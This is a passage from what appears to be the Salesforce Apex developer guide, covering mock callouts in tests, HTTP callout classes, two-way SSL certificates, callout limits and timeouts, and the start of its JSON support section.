interface and the Test.setMock method that you can use to receive fake responses in a test method.
Specifying a Mock Response for Testing Web Service Callouts
When you create an Apex class from a WSDL, the methods in the auto-generated class call WebServiceCallout.invoke,
which performs the callout to the external service. When testing these methods, you can instruct the Apex runtime to generate
a fake response whenever WebServiceCallout.invoke is called. To do so, implement the WebServiceMock interface
and specify a fake response that the Apex runtime should send. Here are the steps in more detail.
First, implement the WebServiceMock interface and specify the fake response in the doInvoke method.
global class YourWebServiceMockImpl implements WebServiceMock {
global void doInvoke(
Object stub,
Object request,
Map<String, Object> response,
String endpoint,
String soapAction,
String requestName,
String responseNS,
String responseName,
String responseType) {
// Create response element from the autogenerated class.
// Populate response element.
// Add response element to the response parameter, as follows:
response.put('response_x', responseElement);
}
}

Note:
•
•

The class implementing the WebServiceMock interface can be either global or public.
You can annotate this class with @isTest since it will be used only in test context. In this way, you can exclude
it from your organization’s code size limit of 3 MB.

Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling
Test.setMock in your test method. For the first argument, pass WebServiceMock.class, and for the second argument,
pass a new instance of your interface implementation of WebServiceMock, as follows:
Test.setMock(WebServiceMock.class, new YourWebServiceMockImpl());

After this point, if a Web service callout is invoked in test context, the callout is not made and you receive the mock response
specified in your doInvoke method implementation.
Note: If the code that performs the callout is in a managed package, you must call Test.setMock from a test
method in the same package with the same namespace to mock the callout.
This is a full example that shows how to test a Web service callout. The implementation of the WebServiceMock interface
is listed first. This example implements the doInvoke method, which returns the response you specify. In this case, the
response element of the auto-generated class is created and assigned a value. Next, the response Map parameter is populated

295
Integration and Apex Utilities

SOAP Services: Defining a Class from a WSDL Document

with this fake response. This example is based on the WSDL listed in Understanding the Generated Code. Import this WSDL
and generate a class called docSample before you save this class.
@isTest
global class WebServiceMockImpl implements WebServiceMock {
global void doInvoke(
Object stub,
Object request,
Map<String, Object> response,
String endpoint,
String soapAction,
String requestName,
String responseNS,
String responseName,
String responseType) {
docSample.EchoStringResponse_element respElement =
new docSample.EchoStringResponse_element();
respElement.EchoStringResult = 'Mock response';
response.put('response_x', respElement);
}
}

This is the method that makes a Web service callout.
public class WebSvcCallout {
public static String callEchoString(String input) {
docSample.DocSamplePort sample = new docSample.DocSamplePort();
sample.endpoint_x = 'http://api.salesforce.com/foo/bar';
// This invokes the EchoString method in the generated class
String echo = sample.EchoString(input);
return echo;
}
}

This is the test class containing the test method that sets the mock callout mode. It calls the callEchoString method in
the previous class and verifies that a mock response is received.
@isTest
private class WebSvcCalloutTest {
@isTest static void testEchoString() {
// This causes a fake response to be generated
Test.setMock(WebServiceMock.class, new WebServiceMockImpl());
// Call the method that invokes a callout
String output = WebSvcCallout.callEchoString('Hello World!');
// Verify that a fake result is returned
System.assertEquals('Mock response', output);
}
}

See Also:
WebServiceMock Interface

Performing DML Operations and Mock Callouts
By default, callouts aren’t allowed after DML operations in the same transaction because DML operations result in pending
uncommitted work that prevents callouts from executing. Sometimes, you might want to insert test data in your test method
using DML before making a callout. To enable this, enclose the portion of your code that performs the callout within

296
Integration and Apex Utilities

SOAP Services: Defining a Class from a WSDL Document

Test.startTest and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock
statement. Also, the calls to DML operations must not be part of the Test.startTest/Test.stopTest block.

DML operations that occur after mock callouts are allowed and don’t require any changes in test methods.
Performing DML Before Mock Callouts
This example is based on the previous example. The example shows how to use Test.startTest and Test.stopTest
statements to allow DML operations to be performed in a test method before mock callouts. The test method
(testEchoString) first inserts a test account, calls Test.startTest, sets the mock callout mode using Test.setMock,
calls a method that performs the callout, verifies the mock response values, and finally, calls Test.stopTest.
@isTest
private class WebSvcCalloutTest {
@isTest static void testEchoString() {
// Perform some DML to insert test data
Account testAcct = new Account('Test Account');
insert testAcct;
// Call Test.startTest before performing callout
// but after setting test data.
Test.startTest();
// Set mock callout class
Test.setMock(WebServiceMock.class, new WebServiceMockImpl());
// Call the method that invokes a callout
String output = WebSvcCallout.callEchoString('Hello World!');
// Verify that a fake result is returned
System.assertEquals('Mock response', output);
Test.stopTest();
}
}

Asynchronous Apex and Mock Callouts
Similar to DML, asynchronous Apex operations result in pending uncommitted work that prevents callouts from being
performed later in the same transaction. Examples of asynchronous Apex operations are calls to future methods, batch Apex,
or scheduled Apex. These asynchronous calls are typically enclosed within Test.startTest and Test.stopTest statements
in test methods so that they execute after Test.stopTest. In this case, mock callouts can be performed after the asynchronous
calls and no changes are necessary. But if the asynchronous calls aren’t enclosed within Test.startTest and Test.stopTest
statements, you’ll get an exception because of uncommitted work pending. To prevent this exception, do either of the following:
•

Enclose the asynchronous call within Test.startTest and Test.stopTest statements.
Test.startTest();
MyClass.asyncCall();
Test.stopTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();

•

Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within
Test.startTest and Test.stopTest statements. The Test.startTest statement must appear before the
Test.setMock statement. Also, the asynchronous calls must not be part of the Test.startTest/Test.stopTest
block.
MyClass.asyncCall();
Test.startTest();
Test.setMock(..); // Takes two arguments

297
Integration and Apex Utilities

SOAP Services: Defining a Class from a WSDL Document

MyClass.mockCallout();
Test.stopTest();

Asynchronous calls that occur after mock callouts are allowed and don’t require any changes in test methods.

See Also:
Test Class

Considerations Using WSDLs
Be aware of the following when generating Apex classes from a WSDL.
Mapping Headers
Headers defined in the WSDL document become public fields on the stub in the generated class. This is similar to how the
AJAX Toolkit and .NET works.
Understanding Runtime Events
The following checks are performed when Apex code is making a callout to an external service.
•
•
•
•
•

For information on the timeout limits when making an HTTP request or a Web services call, see Callout Limits and
Limitations on page 308.
Circular references in Apex classes are not allowed.
More than one loopback connection to Salesforce domains is not allowed.
To allow an endpoint to be accessed, it should be registered from Setup, in Security > Remote Site Settings.
To prevent database connections from being held up, no transactions can be open.

Understanding Unsupported Characters in Variable Names
A WSDL file can include an element name that is not allowed in an Apex variable name. The following rules apply when
generating Apex variable names from a WSDL file:
•
•
•
•

•

If the first character of an element name is not alphabetic, an x character is prepended to the generated Apex variable
name.
If the last character of an element name is not allowed in an Apex variable name, an x character is appended to the generated
Apex variable name.
If an element name contains a character that is not allowed in an Apex variable name, the character is replaced with an
underscore (_) character.
If an element name contains two characters in a row that are not allowed in an Apex variable name, the first character is
replaced with an underscore (_) character and the second one is replaced with an x character. This avoids generating a
variable name with two successive underscores, which is not allowed in Apex.
Suppose you have an operation that takes two parameters, a_ and a_x. The generated Apex has two variables, both named
a_x. The class will not compile. You must manually edit the Apex and change one of the variable names.

Debugging Classes Generated from WSDL Files
Salesforce tests code with SOAP API, .NET, and Axis. If you use other tools, you might encounter issues.
You can use the debugging header to return the XML in request and response SOAP messages to help you diagnose problems.
For more information, see SOAP API and SOAP Headers for Apex on page 1330.

298
Integration and Apex Utilities

Invoking HTTP Callouts

Invoking HTTP Callouts
Apex provides several built-in classes to work with HTTP services and create HTTP requests like GET, POST, PUT, and
DELETE.
You can use these HTTP classes to integrate to REST-based services. They also allow you to integrate to SOAP-based web
services as an alternate option to generating Apex code from a WSDL. By using the HTTP classes, instead of starting with
a WSDL, you take on more responsibility for handling the construction of the SOAP message for the request and response.
The Force.com Toolkit for Google Data APIs makes extensive use of HTTP callouts.
HTTP Classes
Testing HTTP Callouts

HTTP Classes
These classes expose the general HTTP request/response functionality:
•
•
•

Http Class. Use this class to initiate an HTTP request and response.
HttpRequest Class: Use this class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.
HttpResponse Class: Use this class to handle the HTTP response returned by HTTP.

The HttpRequest and HttpResponse classes support the following elements:
•

HttpRequest:

◊
◊
◊
◊
◊
•

HTTP request types such as GET, POST, PUT, DELETE, TRACE, CONNECT, HEAD, and OPTIONS.
Request headers if needed.
Read and connection timeouts.
Redirects if needed.
Content of the message body.

HttpResponse:

◊ The HTTP status code.
◊ Response headers if needed.
◊ Content of the response body.
The following example shows an HTTP GET request made to the external server specified by the value of url that gets
passed into the getContent method. This example also shows accessing the body of the returned response:
public class HttpCalloutSample {
// Pass in the endpoint to be used using the string url
public String getContent(String url) {
// Instantiate a new http object
Http h = new Http();
// Instantiate a new HTTP request, specify the method (GET) as well as the endpoint
HttpRequest req = new HttpRequest();
req.setEndpoint(url);
req.setMethod('GET');
// Send the request, and return a response
HttpResponse res = h.send(req);
return res.getBody();

299
Integration and Apex Utilities

Invoking HTTP Callouts

}
}

The previous example runs synchronously, meaning no further processing happens until the external Web service returns a
response. Alternatively, you can use the @future annotation to make the callout run asynchronously.
Before you can access external servers from an endpoint or redirect endpoint using Apex or any other feature, you must add
the remote site to a list of authorized remote sites in the Salesforce user interface. To do this, log in to Salesforce and from
Setup, click Security Controls > Remote Site Settings.
Note: The AJAX proxy handles redirects and authentication challenges (401/407 responses) automatically. For more
information about the AJAX proxy, see AJAX Toolkit documentation.
Use the XML classes or JSON classes to parse XML or JSON content in the body of a request created by HttpRequest, or
a response accessed by HttpResponse.

Testing HTTP Callouts
To deploy or package Apex, 75% of your code must have test coverage. By default, test methods don’t support HTTP callouts,
so tests that perform callouts are skipped. However, you can enable HTTP callout testing by instructing Apex to generate
mock responses in tests by calling Test.setMock and by specifying the mock response in one of the following ways:
•
•

By implementing the HttpCalloutMock interface
By using Static Resources with StaticResourceCalloutMock or MultiStaticResourceCalloutMock

To enable running DML operations before mock callouts in your test methods, see Performing DML Operations and Mock
Callouts.
Testing HTTP Callouts by Implementing the HttpCalloutMock Interface
Testing HTTP Callouts Using Static Resources
Performing DML Operations and Mock Callouts
Testing HTTP Callouts by Implementing the HttpCalloutMock Interface
Provide an implementation for the HttpCalloutMock interface to specify the response sent in the respond method, which
the Apex runtime calls to send a response for a callout.
global class YourHttpCalloutMockImpl implements HttpCalloutMock {
global HTTPResponse respond(HTTPRequest req) {
// Create a fake response.
// Set response values, and
// return response.
}
}

Note:
•
•

The class that implements the HttpCalloutMock interface can be either global or public.
You can annotate this class with @isTest since it will be used only in test context. In this way, you can exclude
it from your organization’s code size limit of 3 MB.

Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling
Test.setMock in your test method. For the first argument, pass HttpCalloutMock.class, and for the second argument,
pass a new instance of your interface implementation of HttpCalloutMock, as follows:
Test.setMock(HttpCalloutMock.class, new YourHttpCalloutMockImpl());

300
Integration and Apex Utilities

Invoking HTTP Callouts

After this point, if an HTTP callout is invoked in test context, the callout is not made and you receive the mock response you
specified in the respond method implementation.
Note: If the code that performs the callout is in a managed package, you must call Test.setMock from a test
method in the same package with the same namespace to mock the callout.
This is a full example that shows how to test an HTTP callout. The interface implementation
(MockHttpResponseGenerator) is listed first. It is followed by a class containing the test method and another containing
the method that the test calls. The testCallout test method sets the mock callout mode by calling Test.setMock before
calling getInfoFromExternalService. It then verifies that the response returned is what the implemented respond
method sent. Save each class separately and run the test in CalloutClassTest.
@isTest
global class MockHttpResponseGenerator implements HttpCalloutMock {
// Implement this interface method
global HTTPResponse respond(HTTPRequest req) {
// Optionally, only send a mock response for a specific endpoint
// and method.
System.assertEquals('http://api.salesforce.com/foo/bar', req.getEndpoint());
System.assertEquals('GET', req.getMethod());
// Create a fake response
HttpResponse res = new HttpResponse();
res.setHeader('Content-Type', 'application/json');
res.setBody('{"foo":"bar"}');
res.setStatusCode(200);
return res;
}
}
public class CalloutClass {
public static HttpResponse getInfoFromExternalService() {
HttpRequest req = new HttpRequest();
req.setEndpoint('http://api.salesforce.com/foo/bar');
req.setMethod('GET');
Http h = new Http();
HttpResponse res = h.send(req);
return res;
}
}
@isTest
private class CalloutClassTest {
@isTest static void testCallout() {
// Set mock callout class
Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator());
// Call method to test.
// This causes a fake response to be sent
// from the class that implements HttpCalloutMock.
HttpResponse res = CalloutClass.getInfoFromExternalService();
// Verify response received contains fake values
String contentType = res.getHeader('Content-Type');
System.assert(contentType == 'application/json');
String actualValue = res.getBody();
String expectedValue = '{"foo":"bar"}';
System.assertEquals(actualValue, expectedValue);
System.assertEquals(200, res.getStatusCode());

301
Integration and Apex Utilities

Invoking HTTP Callouts

}
}

See Also:
HttpCalloutMock Interface
Test Class
Testing HTTP Callouts Using Static Resources
You can test HTTP callouts by specifying the body of the response you’d like to receive in a static resource and using one of
two built-in classes—StaticResourceCalloutMock or MultiStaticResourceCalloutMock.
Testing HTTP Callouts Using StaticResourceCalloutMock
Apex provides the built-in StaticResourceCalloutMock class that you can use to test callouts by specifying the response
body in a static resource. When using this class, you don’t have to provide your own implementation of the HttpCalloutMock
interface. Instead, just create an instance of StaticResourceCalloutMock and set the static resource to use for the response
body, along with other response properties, like the status code and content type.
First, you must create a static resource from a text file to contain the response body:
1. Create a text file that contains the response body to return. The response body can be an arbitrary string, but it must match
the content type, if specified. For example, if your response has no content type specified, the file can include the arbitrary
string abc. If you specify a content type of application/json for the response, the file content should be a JSON string,
such as {"hah":"fooled you"}.
2. Create a static resource for the text file:
a.
b.
c.
d.

Click Develop > Static Resources, and then New Static Resource.
Name your static resource.
Choose the file to upload.
Click Save.

To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.
Next, create an instance of StaticResourceCalloutMock and set the static resource, and any other properties.
StaticResourceCalloutMock mock = new StaticResourceCalloutMock();
mock.setStaticResource('myStaticResourceName');
mock.setStatusCode(200);
mock.setHeader('Content-Type', 'application/json');

In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first
argument, and the variable name that you created for StaticResourceCalloutMock as the second argument.
Test.setMock(HttpCalloutMock.class, mock);

After this point, if your test method performs a callout, the callout is not made and the Apex runtime sends the mock response
you specified in your instance of StaticResourceCalloutMock.
Note: If the code that performs the callout is in a managed package, you must call Test.setMock from a test
method in the same package with the same namespace to mock the callout.
This is a full example containing the test method (testCalloutWithStaticResources) and the method it is testing
(getInfoFromExternalService) that performs the callout. Before running this example, create a static resource named

302
Integration and Apex Utilities

Invoking HTTP Callouts

mockResponse based on a text file with the content {"hah":"fooled you"}. Save each class separately and run the
test in CalloutStaticClassTest.
public class CalloutStaticClass {
public static HttpResponse getInfoFromExternalService(String endpoint) {
HttpRequest req = new HttpRequest();
req.setEndpoint(endpoint);
req.setMethod('GET');
Http h = new Http();
HttpResponse res = h.send(req);
return res;
}
}
@isTest
private class CalloutStaticClassTest {
@isTest static void testCalloutWithStaticResources() {
// Use StaticResourceCalloutMock built-in class to
// specify fake response and include response body
// in a static resource.
StaticResourceCalloutMock mock = new StaticResourceCalloutMock();
mock.setStaticResource('mockResponse');
mock.setStatusCode(200);
mock.setHeader('Content-Type', 'application/json');
// Set the mock callout mode
Test.setMock(HttpCalloutMock.class, mock);
// Call the method that performs the callout
HTTPResponse res = CalloutStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/bar');
// Verify response received contains values returned by
// the mock response.
// This is the content of the static resource.
System.assertEquals('{"hah":"fooled you"}', res.getBody());
System.assertEquals(200,res.getStatusCode());
System.assertEquals('application/json', res.getHeader('Content-Type'));
}
}

Testing HTTP Callouts Using MultiStaticResourceCalloutMock
Apex provides the built-in MultiStaticResourceCalloutMock class that you can use to test callouts by specifying the
response body in a static resource for each endpoint. This class is similar to StaticResourceCalloutMock except that it
allows you to specify multiple response bodies. When using this class, you don’t have to provide your own implementation of
the HttpCalloutMock interface. Instead, just create an instance of MultiStaticResourceCalloutMock and set the
static resource to use per endpoint. You can also set other response properties like the status code and content type.
First, you must create a static resource from a text file to contain the response body. See the procedure outlined in Testing
HTTP Callouts Using StaticResourceCalloutMock.
Next, create an instance of MultiStaticResourceCalloutMock and set the static resource, and any other properties.
MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock();
multimock.setStaticResource('http://api.salesforce.com/foo/bar', 'mockResponse');
multimock.setStaticResource('http://api.salesforce.com/foo/sfdc', 'mockResponse2');
multimock.setStatusCode(200);
multimock.setHeader('Content-Type', 'application/json');

In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first
argument, and the variable name that you created for MultiStaticResourceCalloutMock as the second argument.
Test.setMock(HttpCalloutMock.class, multimock);

303
Integration and Apex Utilities

Invoking HTTP Callouts

After this point, if your test method performs an HTTP callout to one of the endpoints
http://api.salesforce.com/foo/bar or http://api.salesforce.com/foo/sfdc, the callout is not made and
the Apex runtime sends the corresponding mock response you specified in your instance of
MultiStaticResourceCalloutMock.
This is a full example containing the test method (testCalloutWithMultipleStaticResources) and the method it is
testing (getInfoFromExternalService) that performs the callout. Before running this example, create a static resource
named mockResponse based on a text file with the content {"hah":"fooled you"} and another named
mockResponse2 based on a text file with the content {"hah":"fooled you twice"}. Save each class separately and
run the test in CalloutMultiStaticClassTest.
public class CalloutMultiStaticClass {
public static HttpResponse getInfoFromExternalService(String endpoint) {
HttpRequest req = new HttpRequest();
req.setEndpoint(endpoint);
req.setMethod('GET');
Http h = new Http();
HttpResponse res = h.send(req);
return res;
}
}
@isTest
private class CalloutMultiStaticClassTest {
@isTest static void testCalloutWithMultipleStaticResources() {
// Use MultiStaticResourceCalloutMock to
// specify fake response for a certain endpoint and
// include response body in a static resource.
MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock();
multimock.setStaticResource(
'http://api.salesforce.com/foo/bar', 'mockResponse');
multimock.setStaticResource(
'http://api.salesforce.com/foo/sfdc', 'mockResponse2');
multimock.setStatusCode(200);
multimock.setHeader('Content-Type', 'application/json');
// Set the mock callout mode
Test.setMock(HttpCalloutMock.class, multimock);
// Call the method for the first endpoint
HTTPResponse res = CalloutMultiStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/bar');
// Verify response received
System.assertEquals('{"hah":"fooled you"}', res.getBody());
// Call the method for the second endpoint
HTTPResponse res2 = CalloutMultiStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/sfdc');
// Verify response received
System.assertEquals('{"hah":"fooled you twice"}', res2.getBody());
}
}

Performing DML Operations and Mock Callouts
By default, callouts aren’t allowed after DML operations in the same transaction because DML operations result in pending
uncommitted work that prevents callouts from executing. Sometimes, you might want to insert test data in your test method
using DML before making a callout. To enable this, enclose the portion of your code that performs the callout within
Test.startTest and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock
statement. Also, the calls to DML operations must not be part of the Test.startTest/Test.stopTest block.
DML operations that occur after mock callouts are allowed and don’t require any changes in test methods.

304
Integration and Apex Utilities

Invoking HTTP Callouts

The DML operations support works for all implementations of mock callouts using: the HttpCalloutMock interface and
static resources (StaticResourceCalloutMock or MultiStaticResourceCalloutMock). The following example uses
an implemented HttpCalloutMock interface but you can apply the same technique when using static resources.
Performing DML Before Mock Callouts
This example is based on the HttpCalloutMock example provided earlier. The example shows how to use Test.startTest
and Test.stopTest statements to allow DML operations to be performed in a test method before mock callouts. The test
method (testCallout) first inserts a test account, calls Test.startTest, sets the mock callout mode using Test.setMock,
calls a method that performs the callout, verifies the mock response values, and finally, calls Test.stopTest.
@isTest
private class CalloutClassTest {
@isTest static void testCallout() {
// Perform some DML to insert test data
Account testAcct = new Account('Test Account');
insert testAcct;
// Call Test.startTest before performing callout
// but after setting test data.
Test.startTest();
// Set mock callout class
Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator());
// Call method to test.
// This causes a fake response to be sent
// from the class that implements HttpCalloutMock.
HttpResponse res = CalloutClass.getInfoFromExternalService();
// Verify response received contains fake values
String contentType = res.getHeader('Content-Type');
System.assert(contentType == 'application/json');
String actualValue = res.getBody();
String expectedValue = '{"foo":"bar"}';
System.assertEquals(actualValue, expectedValue);
System.assertEquals(200, res.getStatusCode());
Test.stopTest();
}
}

Asynchronous Apex and Mock Callouts
Similar to DML, asynchronous Apex operations result in pending uncommitted work that prevents callouts from being
performed later in the same transaction. Examples of asynchronous Apex operations are calls to future methods, batch Apex,
or scheduled Apex. These asynchronous calls are typically enclosed within Test.startTest and Test.stopTest statements
in test methods so that they execute after Test.stopTest. In this case, mock callouts can be performed after the asynchronous
calls and no changes are necessary. But if the asynchronous calls aren’t enclosed within Test.startTest and Test.stopTest
statements, you’ll get an exception because of uncommitted work pending. To prevent this exception, do either of the following:
•

Enclose the asynchronous call within Test.startTest and Test.stopTest statements.
Test.startTest();
MyClass.asyncCall();
Test.stopTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();

•

Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within
Test.startTest and Test.stopTest statements. The Test.startTest statement must appear before the

305
Integration and Apex Utilities

Using Certificates

Test.setMock statement. Also, the asynchronous calls must not be part of the Test.startTest/Test.stopTest

block.
MyClass.asyncCall();
Test.startTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();
Test.stopTest();

Asynchronous calls that occur after mock callouts are allowed and don’t require any changes in test methods.

See Also:
Test Class

Using Certificates
You can use two-way SSL authentication by sending a certificate generated in Salesforce or signed by a certificate authority
(CA) with your callout. This enhances security as the target of the callout receives the certificate and can use it to authenticate
the request against its keystore.
To enable two-way SSL authentication for a callout:
1. Generate a certificate.
2. Integrate the certificate with your code. See Using Certificates with SOAP Services and Using Certificates with HTTP
Requests.
3. If you are connecting to a third-party and you are using a self-signed certificate, share the Salesforce certificate with them
so that they can add the certificate to their keystore. If you are connecting to another application used within your
organization, configure your Web or application server to request a client certificate. This process depends on the type of
Web or application server you use. For an example of how to set up two-way SSL with Apache Tomcat, see
wiki.developerforce.com/index.php/Making_Authenticated_Web_Service_Callouts_Using_Two-Way_SSL.
4. Configure the remote site settings for the callout. Before any Apex callout can call an external site, that site must be
registered in the Remote Site Settings page, or the callout fails.
Generating Certificates
Using Certificates with SOAP Services

Generating Certificates
You can use a self-signed certificate generated in Salesforce or a certificate signed by a certificate authority (CA). To generate
a certificate for a callout:
1. From Setup, click Security Controls > Certificate and Key Management.
2. Select either Create Self-Signed Certificate or Create CA-Signed Certificate, based on what kind of certificate your
external website accepts. You can’t change the type of a certificate after you’ve created it.
3. Enter a descriptive label for the Salesforce certificate. This name is used primarily by administrators when viewing certificates.
4. Enter the Unique Name. This name is automatically populated based on the certificate label you enter. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the Unique
Name when referring to the certificate using the Force.com Web services API or Apex.

306
Integration and Apex Utilities

Using Certificates

5. Select a Key Size for your generated certificate and keys. We recommend that you use the default key size of 2048 for
security reasons. Selecting 2048 generates a certificate using 2048-bit keys and is valid for two years. Selecting 1024
generates a certificate using 1024-bit keys and is valid for one year.
Note: Once you save a Salesforce certificate, you can’t change the key size.

6. If you’re creating a CA-signed certificate, you must also enter the following information. These fields are joined together
to generate a unique certificate.
Field

Description

Common Name

The fully qualified domain name of the company requesting
the signed certificate. This is generally of the form:
http://www.mycompany.com.

Email Address

The email address associated with this certificate.

Company

Either the legal name of your company, or your legal name.

Department

The branch of your company using the certificate, such as
marketing or accounting.

City

The city where the company resides.

State

The state where the company resides.

Country Code

A two-letter code indicating the country where the company
resides. For the United States, the value is US.

7. Click Save.
After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated.
After you create a CA-signed certificate, you must upload the signed certificate before you can use it. See “Uploading Certificate
Authority (CA)-Signed Certificates” in the Salesforce online help.

Using Certificates with SOAP Services
After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to a SOAP
Web service.
To integrate the certificate with your Apex:
1. Receive the WSDL for the Web service from the third party or generate it from the application you want to connect to.
2. Generate Apex classes from the WSDL for the Web service. See SOAP Services: Defining a Class from a WSDL
Document.
3. The generated Apex classes include a stub for calling the third-party Web service represented by the WSDL document.
Edit the Apex classes, and assign a value to a clientCertName_x variable on an instance of the stub class. The value
must match the Unique Name of the certificate you generated under Setup, in Security Controls > Certificate and Key
Management.

307
Integration and Apex Utilities

Callout Limits and Limitations

The following example illustrates the last step of the previous procedure and works with the sample WSDL file in Understanding
the Generated Code. This example assumes that you previously generated a certificate with a Unique Name of
DocSampleCert.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.clientCertName_x = 'DocSampleCert';
String input = 'This is the input string';
String output = stub.EchoString(input);

There is a legacy process for using a certificate obtained from a third party for your organization. Encode your client certificate
key in base64, and assign it to the clientCert_x variable on the stub. This is inherently less secure than using a Salesforce
certificate because it does not follow security best practices for protecting private keys. When you use a Salesforce certificate,
the private key is not shared outside Salesforce.
Note: Do not use a client certificate generated under Setup, in Develop > API > Generate Client Certificate. You
must use a certificate obtained from a third party for your organization if you use the legacy process.
The following example illustrates the legacy process and works with the sample WSDL file in Understanding the Generated
Code on page 292.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.clientCert_x =
'MIIGlgIBAzCCBlAGCSqGSIb3DQEHAaCCBkEEggY9MIIGOTCCAe4GCSqGSIb3DQEHAaCCAd8EggHb'+
'MIIB1zCCAdMGCyqGSIb3DQEMCgECoIIBgjCCAX4wKAYKKoZIhvcNAQwBAzAaBBSaUMlXnxjzpfdu'+
'6YFwZgJFMklDWFyvCnQeuZpN2E+Rb4rf9MkJ6FsmPDA9MCEwCQYFKw4DAhoFAAQU4ZKBfaXcN45w'+
'9hYm215CcA4n4d0EFJL8jr68wwKwFsVckbjyBz/zYHO6AgIEAA==';
// Password for the keystore
stub.clientCertPasswd_x = 'passwd';
String input = 'This is the input string';
String output = stub.EchoString(input);

Using Certificates with HTTP Requests
After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to an HTTP
request.
To integrate the certificate with your Apex:
1. Generate a certificate. Note the Unique Name of the certificate.
2. In your Apex, use the setClientCertificateName method of the HttpRequest class. The value used for the argument
for this method must match the Unique Name of the certificate that you generated in the previous step.
The following example illustrates the last step of the previous procedure. This example assumes that you previously generated
a certificate with a Unique Name of DocSampleCert.
HttpRequest req = new HttpRequest();
req.setClientCertificateName('DocSampleCert');

Callout Limits and Limitations
The following limits and limitations apply when Apex code makes a callout to an HTTP request or a Web services call. The
Web services call can be a SOAP API call or any external Web services call.
•

A single Apex transaction can make a maximum of 10 callouts to an HTTP request or an API call.

308
Integration and Apex Utilities

•

•
•

•

JSON Support

The default timeout is 10 seconds. A custom timeout can be defined for each callout. The minimum is 1 millisecond and
the maximum is 120,000 milliseconds. See the examples in the next section for how to set custom timeouts for Web services
or HTTP callouts.
The maximum cumulative timeout for callouts by a single Apex transaction is 120 seconds. This time is additive across all
callouts invoked by the Apex transaction.
You can’t make a callout when there are pending operations in the same transaction. Things that result in pending operations
are DML statements, asynchronous Apex (such as future methods and batch Apex jobs), scheduled Apex, or sending email.
You can make callouts before performing these types of operations.
Pending operations can occur before mock callouts in the same transaction. See Performing DML Operations and Mock
Callouts for WSDL-based callouts or Performing DML Operations and Mock Callouts for HTTP callouts.

Setting Callout Timeouts
The following example sets a custom timeout for Web services callouts. The example works with the sample WSDL file and
the generated DocSamplePort class described in Understanding the Generated Code on page 292. Set the timeout value in
milliseconds by assigning a value to the special timeout_x variable on the stub.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.timeout_x = 2000; // timeout in milliseconds

The following is an example of setting a custom timeout for HTTP callouts:
HttpRequest req = new HttpRequest();
req.setTimeout(2000); // timeout in milliseconds

JSON Support
JavaScript Object Notation (JSON) support in Apex enables the serialization of Apex objects into JSON format and the
deserialization of serialized JSON content.
Apex provides a set of classes that expose methods for JSON serialization and deserialization. The following table describes
the classes available.
Class

Description

System.JSON

Contains methods for serializing Apex objects into JSON
format and deserializing JSON content that was serialized
using the serialize method in this class.

System.JSONGenerator

Contains methods used to serialize objects into JSON content
using the standard JSON encoding.

System.JSONParser

Represents a parser for JSON-encoded content.

The System.JSONToken enumeration contains the tokens used for JSON parsing.
Methods in these classes throw a JSONException if an issue is encountered during execution.
JSON Support Considerations
•

JSON serialization and deserialization support is available for sObjects (standard objects and custom objects), Apex
primitive and collection types, return types of Database methods (such as SaveResult, DeleteResult, and so on), and
instances of your Apex classes.

309
Integration and Apex Utilities

Roundtrip Serialization and Deserialization

Only custom objects, which are sObject types, of managed packages can be serialized from code that is external to
the managed package. Objects that are instances of Apex classes defined in the managed package can't be serialized.
Deserialized Map objects whose keys are not strings won't match their corresponding Map objects before serialization.
Key values are converted into strings during serialization and will, when deserialized, change their type. For example,
a Map<Object, sObject> will become a Map<String, sObject>.
When an object is declared as the parent type but is set to an instance of the subtype, some data may be lost. The
object gets serialized and deserialized as the parent type and any fields that are specific to the subtype are lost.
An object that has a reference to itself won’t get serialized and causes a JSONException to be thrown.
Reference graphs that reference the same object twice are deserialized and cause multiple copies of the referenced
object to be generated.
The System.JSONParser data type isn’t serializable. If you have a serializable class, such as a Visualforce controller,
that has a member variable of type System.JSONParser and you attempt to create this object, you’ll receive an
exception. To use JSONParser in a serializable class, use a local variable instead in your method.

•
•

•
•
•
•

Roundtrip Serialization and Deserialization
Using the JSON class methods, you can perform roundtrip serialization and deserialization of your JSON content.
JSON Generator
Using the JSONGenerator class methods, you can generate standard JSON-encoded content.
JSON Parsing
Using the JSONParser class methods, you can parse JSON-encoded content.

Roundtrip Serialization and Deserialization
Using the JSON class methods, you can perform roundtrip serialization and deserialization of your JSON content.
The JSON class contains methods that enable you to serialize objects into JSON formatted strings. It also contains methods
to deserialize JSON strings back into objects.
Sample: Serializing and Deserializing a List of Invoices
This sample creates a list of InvoiceStatement objects and serializes the list. Next, the serialized JSON string is used to
deserialize the list again and the sample verifies that the new list contains the same invoices that were present in the original
list.
public class JSONRoundTripSample {
public class InvoiceStatement {
Long invoiceNumber;
Datetime statementDate;
Decimal totalPrice;
